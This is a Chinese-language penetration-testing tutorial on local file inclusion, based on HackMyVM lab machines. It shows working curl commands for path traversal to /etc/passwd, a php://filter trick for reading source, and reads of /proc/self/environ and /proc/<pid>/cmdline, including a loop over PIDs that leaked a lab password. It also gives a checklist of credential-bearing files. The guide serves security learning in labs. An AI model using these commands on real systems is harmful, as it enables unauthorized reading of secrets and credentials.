LFI 任意文件读取与运行时信息收集
LFI 常被误解成“读到 /etc/passwd 就结束”。在靶场和真实授权测试里,文件读取更重要的价值通常是继续收集运行时信息:源码、进程启动参数、环境变量、配置文件、日志路径和服务目录。
第一阶段:确认可读文件
最常见的验证目标是 /etc/passwd:
curl -sS 'http://target/file.php?file=/etc/passwd'
如果需要目录穿越:
curl -sS 'http://target/index.php?book=../../../../etc/passwd'
命中后通常会看到:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
第二阶段:读取源码
PHP 场景里,如果直接读取 .php 文件会被执行而不是显示源码,可以尝试 php://filter:
curl -sS 'http://target/file.php?file=php://filter/convert.base64-encode/resource=file.php' | base64 -d
源码能帮助判断后端到底是:
| 代码形态 | 后续方向 |
|---|---|
file_get_contents($file) | 主要是任意文件读取,不会执行 PHP Payload |
include($file) / require($file) | 可能走日志投毒、Session 投毒、上传文件包含到 RCE |
| 加了路径拼接 | 测试目录穿越和 wrapper 是否可用 |
| 有过滤黑名单 | 观察是否能编码、大小写、路径变体绕过 |
Yuan114 中,源码确认是 file_get_contents(),所以后续重点转向读取 /proc 中的敏感运行时信息,而不是继续硬怼 PHP RCE。
第三阶段:读取 /proc 运行时信息
当前进程命令行
curl -sS 'http://target/index.php?book=../../../../proc/self/cmdline' | tr '\0' ' '
常见价值:
| 信息 | 用途 |
|---|---|
| 服务启动命令 | 判断是 Apache、PHP 内置服务器、Python Flask 等 |
-t / docroot | 定位 Web 根目录 |
| 监听地址和端口 | 发现本地服务或调试服务 |
| 启动参数 | 可能泄露账号、密码、Token |
当前进程环境变量
curl -sS 'http://target/index.php?book=../../../../proc/self/environ' | tr '\0' '\n'
常见价值:
| 信息 | 用途 |
|---|---|
USER | 确认当前 Web 权限 |
HOME | 定位可读目录 |
PATH | 判断命令执行环境 |
| 应用密钥 | 可能泄露数据库、JWT、云服务凭据 |
遍历其他进程命令行
如果能读取任意 /proc/<pid>/cmdline,可以遍历 PID:
for i in {1..1000}; do
curl -s "http://target/file.php?file=/proc/$i/cmdline" | tr '\0' ' '
echo
done
Yuan114 中,突破点正是 /proc/<pid>/cmdline 暴露了服务启动参数:
service --user welcome --password 6WXqj9Vc2tdXQ3TN0z54 --host localhost --port 8080 infinity
完整过程见:HackMyVM Yuan114 通关记录。
高价值读取清单
| 目标 | 价值 |
|---|---|
/etc/passwd | 确认 LFI,收集本地用户 |
/proc/self/cmdline | 当前 Web 进程启动方式 |
/proc/self/environ | 当前进程环境变量 |
/proc/<pid>/cmdline | 其他服务的启动参数 |
| Web 源码文件 | 识别读取、包含、过滤逻辑 |
| 应用配置 | 数据库、缓存、API Key、后台路径 |
| 用户目录 | flag、笔记、备份、SSH 线索 |
| 日志文件 | 可能作为 LFI 到 RCE 的载体 |
| 邮件文件 | 可能配合 SMTP 投递形成可控内容 |
与日志投毒的分界
并不是所有 LFI 都能直接 RCE。关键看后端如何处理被读取文件:
file_get_contents/readfile/fopen -> 只读内容,PHP 不执行
include/require -> 文件内容会被 PHP 解释,可能 RCE
如果确认是 include / require,可以继续看:LFI 日志与邮件投毒到 PHP RCE。
来源案例
- HackMyVM Yuan114:LFI 读取
/proc/<pid>/cmdline泄露 SSH 凭据。 - sunset: solstice:LFI 读取
/proc/self/cmdline与/proc/self/environ确认 PHP 内置服务器和权限。